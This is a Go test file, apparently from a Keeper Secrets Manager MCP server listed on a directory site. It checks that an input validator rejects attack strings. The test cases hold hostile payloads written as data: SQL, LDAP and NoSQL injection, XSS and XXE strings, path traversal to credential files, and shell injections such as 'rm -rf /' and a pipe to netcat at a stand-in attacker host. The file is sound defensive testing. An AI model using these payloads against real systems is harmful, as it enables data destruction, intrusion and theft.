Skip to main content
Glama

Keeper Secrets Manager - MCP

security_test.go12.3 kB
package validation import ( "strings" "testing" ) // TestValidator_SecurityAttackVectors tests various security attack vectors func TestValidator_SecurityAttackVectors(t *testing.T) { v := NewValidator() tests := []struct { name string testFunc func(string) error input string expectError bool description string }{ // SQL Injection Tests { name: "SQL injection - DROP TABLE", testFunc: v.ValidateUID, input: "'; DROP TABLE users; --", expectError: true, description: "Should reject SQL injection attempt", }, { name: "SQL injection - UNION SELECT", testFunc: v.ValidateSearchQuery, input: "' UNION SELECT * FROM passwords --", expectError: true, description: "Should reject SQL union injection", }, { name: "SQL injection - OR 1=1", testFunc: v.ValidateProfileName, input: "admin' OR '1'='1", expectError: true, description: "Should reject SQL boolean injection", }, // Command Injection Tests { name: "Command injection - semicolon", testFunc: v.ValidateFilePath, input: "/tmp/file; rm -rf /", expectError: true, description: "Should reject command chaining", }, { name: "Command injection - backticks", testFunc: v.ValidateSearchQuery, input: "`whoami`", expectError: true, description: "Should reject command substitution", }, { name: "Command injection - $() syntax", testFunc: v.ValidateTitle, input: "$(cat /etc/passwd)", expectError: true, description: "Should reject command substitution", }, { name: "Command injection - pipe", testFunc: v.ValidateSearchQuery, input: "test | nc attacker.com 1234", expectError: true, description: "Should reject pipe commands", }, { name: "Command injection - newline", testFunc: v.ValidateTitle, input: "test\ncat /etc/passwd", expectError: true, description: "Should reject newline injection", }, // Path Traversal Tests { name: "Path traversal - parent directory", testFunc: v.ValidateFilePath, input: "../../../etc/passwd", expectError: true, description: "Should reject path traversal", }, { name: "Path traversal - encoded", testFunc: v.ValidateFilePath, input: "..%2F..%2F..%2Fetc%2Fpasswd", expectError: true, description: "Should reject encoded path traversal", }, { name: "Path traversal - Windows", testFunc: v.ValidateFilePath, input: "..\\..\\..\\windows\\system32\\config\\sam", expectError: true, description: "Should reject Windows path traversal", }, // XSS Tests { name: "XSS - script tag", testFunc: v.ValidateTitle, input: "<script>alert('XSS')</script>", expectError: true, description: "Should reject script tags", }, { name: "XSS - img onerror", testFunc: v.ValidateNotes, input: `<img src=x onerror="alert('XSS')">`, expectError: true, description: "Should reject event handlers", }, { name: "XSS - javascript protocol", testFunc: v.ValidateURL, input: "javascript:alert('XSS')", expectError: true, description: "Should reject javascript protocol", }, { name: "XSS - data URL", testFunc: v.ValidateURL, input: "data:text/html,<script>alert('XSS')</script>", expectError: true, description: "Should reject data URLs with scripts", }, // LDAP Injection Tests { name: "LDAP injection - wildcard", testFunc: v.ValidateSearchQuery, input: "*)(uid=*", expectError: true, description: "Should reject LDAP wildcards", }, { name: "LDAP injection - attributes", testFunc: v.ValidateUsername, input: "admin)(|(uid=*", expectError: true, description: "Should reject LDAP filter injection", }, // NoSQL Injection Tests { name: "NoSQL injection - $ne", testFunc: v.ValidateSearchQuery, input: `{"$ne": null}`, expectError: true, description: "Should reject NoSQL operators", }, { name: "NoSQL injection - $regex", testFunc: v.ValidateSearchQuery, input: `{"$regex": ".*"}`, expectError: true, description: "Should reject NoSQL regex", }, // XML Injection Tests { name: "XML injection - entity", testFunc: v.ValidateNotes, input: `<!ENTITY xxe SYSTEM "file:///etc/passwd">`, expectError: true, description: "Should reject XML entities", }, { name: "XML injection - CDATA", testFunc: v.ValidateNotes, input: `<![CDATA[<script>alert('XSS')</script>]]>`, expectError: true, description: "Should reject CDATA sections", }, // Unicode/Encoding Attacks { name: "Unicode - null byte", testFunc: v.ValidateFilePath, input: "/tmp/file\x00.txt", expectError: true, description: "Should reject null bytes", }, { name: "Unicode - RTL override", testFunc: v.ValidateTitle, input: "test\u202Egnp.exe", expectError: true, description: "Should reject RTL override characters", }, { name: "Unicode - homograph", testFunc: v.ValidateURL, input: "https://gооgle.com", // Using Cyrillic 'о' expectError: false, // URLs should be validated differently description: "Should handle homograph attacks", }, // Buffer Overflow Tests { name: "Buffer overflow - long string", testFunc: v.ValidateTitle, input: strings.Repeat("A", 10000), expectError: true, description: "Should reject extremely long inputs", }, { name: "Buffer overflow - repeated pattern", testFunc: v.ValidateNotes, input: strings.Repeat("A%n", 1000), expectError: true, description: "Should reject format string patterns", }, // Special Character Tests { name: "Special chars - all dangerous", testFunc: v.ValidateSearchQuery, input: `<>'";&|$(){}[]!#%`, expectError: true, description: "Should reject queries with all dangerous chars", }, { name: "Special chars - mixed with valid", testFunc: v.ValidateTitle, input: "Valid Title; rm -rf /", expectError: true, description: "Should reject mixed valid/invalid input", }, // Valid Inputs (should pass) { name: "Valid UID", testFunc: v.ValidateUID, input: "NJ_xXSkk3xYI1h9ql5lAiQ", expectError: false, description: "Should accept valid UID", }, { name: "Valid title", testFunc: v.ValidateTitle, input: "My Company's Database (Production)", expectError: false, description: "Should accept valid title with allowed special chars", }, { name: "Valid file path", testFunc: v.ValidateFilePath, input: "/home/user/documents/report.pdf", expectError: false, description: "Should accept valid absolute path", }, { name: "Valid URL", testFunc: v.ValidateURL, input: "https://example.com:8443/path?query=value", expectError: false, description: "Should accept valid HTTPS URL", }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { err := tt.testFunc(tt.input) if tt.expectError && err == nil { t.Errorf("%s: expected error but got none", tt.description) } else if !tt.expectError && err != nil { t.Errorf("%s: unexpected error: %v", tt.description, err) } }) } } // TestValidator_ShellEscapingSecurity tests shell escaping security func TestValidator_ShellEscapingSecurity(t *testing.T) { v := NewValidator() dangerousInputs := []string{ `'; rm -rf / #`, `" && cat /etc/passwd"`, "$(echo pwned)", "`id`", "test\nwhoami", "test\rwhoami", `test'; echo $PATH'`, `test" || echo "pwned`, "test`date`", "test${IFS}whoami", "test;id;", "test|id", "test&id", "test>>/tmp/evil", "test</etc/passwd", `test\"; cat /etc/passwd; echo \"`, } for _, input := range dangerousInputs { t.Run(input, func(t *testing.T) { escaped := v.escapeShellArg(input) // Check that dangerous characters are escaped dangerousChars := []string{";", "|", "&", "$", "`", "(", ")", "<", ">", "\n", "\r", "\"", "'"} for _, char := range dangerousChars { if strings.Contains(input, char) && strings.Contains(escaped, char) { // If the dangerous character is still present, it should be escaped if !strings.Contains(escaped, "\\"+char) && !strings.Contains(escaped, "'") { t.Errorf("dangerous character %q not properly escaped in %q", char, escaped) } } } // Ensure the escaped string is single-quoted if !strings.HasPrefix(escaped, "'") || !strings.HasSuffix(escaped, "'") { t.Errorf("escaped string should be single-quoted: %s", escaped) } }) } } // TestValidator_KSMNotationSecurity tests KSM notation validation security func TestValidator_KSMNotationSecurity(t *testing.T) { v := NewValidator() tests := []struct { notation string expectError bool description string }{ // Injection attempts { notation: "UID/field/password; rm -rf /", expectError: true, description: "Command injection in field", }, { notation: "UID/field/../../../etc/passwd", expectError: true, description: "Path traversal in field", }, { notation: "UID/field/<script>alert('xss')</script>", expectError: true, description: "XSS in field name", }, { notation: "UID/field/password[$(whoami)]", expectError: true, description: "Command substitution in array index", }, { notation: "UID/field/password[0]['; DROP TABLE; --']", expectError: true, description: "SQL injection in property", }, // Valid notations { notation: "NJ_xXSkk3xYI1h9ql5lAiQ/field/password", expectError: false, description: "Valid simple notation", }, { notation: "NJ_xXSkk3xYI1h9ql5lAiQ/custom_field/apiKey[0]", expectError: false, description: "Valid array notation", }, { notation: "My Database/field/url", expectError: false, description: "Valid title-based notation", }, } for _, tt := range tests { t.Run(tt.description, func(t *testing.T) { err := v.ValidateKSMNotation(tt.notation) if tt.expectError && err == nil { t.Errorf("expected error for %s", tt.description) } else if !tt.expectError && err != nil { t.Errorf("unexpected error for %s: %v", tt.description, err) } }) } } // TestValidator_MaxLengthEnforcement tests maximum length enforcement func TestValidator_MaxLengthEnforcement(t *testing.T) { v := NewValidator() tests := []struct { name string testFunc func(string) error maxLength int input string expectError bool }{ { name: "Title at max length", testFunc: v.ValidateTitle, maxLength: 255, input: strings.Repeat("A", 255), expectError: false, }, { name: "Title over max length", testFunc: v.ValidateTitle, maxLength: 255, input: strings.Repeat("A", 256), expectError: true, }, { name: "Notes at reasonable length", testFunc: v.ValidateNotes, maxLength: 10000, input: strings.Repeat("A", 5000), expectError: false, }, { name: "Notes over max length", testFunc: v.ValidateNotes, maxLength: 10000, input: strings.Repeat("A", 10001), expectError: true, }, { name: "Search query reasonable", testFunc: v.ValidateSearchQuery, maxLength: 256, input: strings.Repeat("A", 100), expectError: false, }, { name: "Search query too long", testFunc: v.ValidateSearchQuery, maxLength: 256, input: strings.Repeat("A", 257), expectError: true, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { err := tt.testFunc(tt.input) if tt.expectError && err == nil { t.Error("expected error for input exceeding max length") } else if !tt.expectError && err != nil { t.Errorf("unexpected error: %v", err) } }) } }

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/Keeper-Security/keeper-mcp-golang-docker'

If you have feedback or need assistance with the MCP directory API, please join our Discord server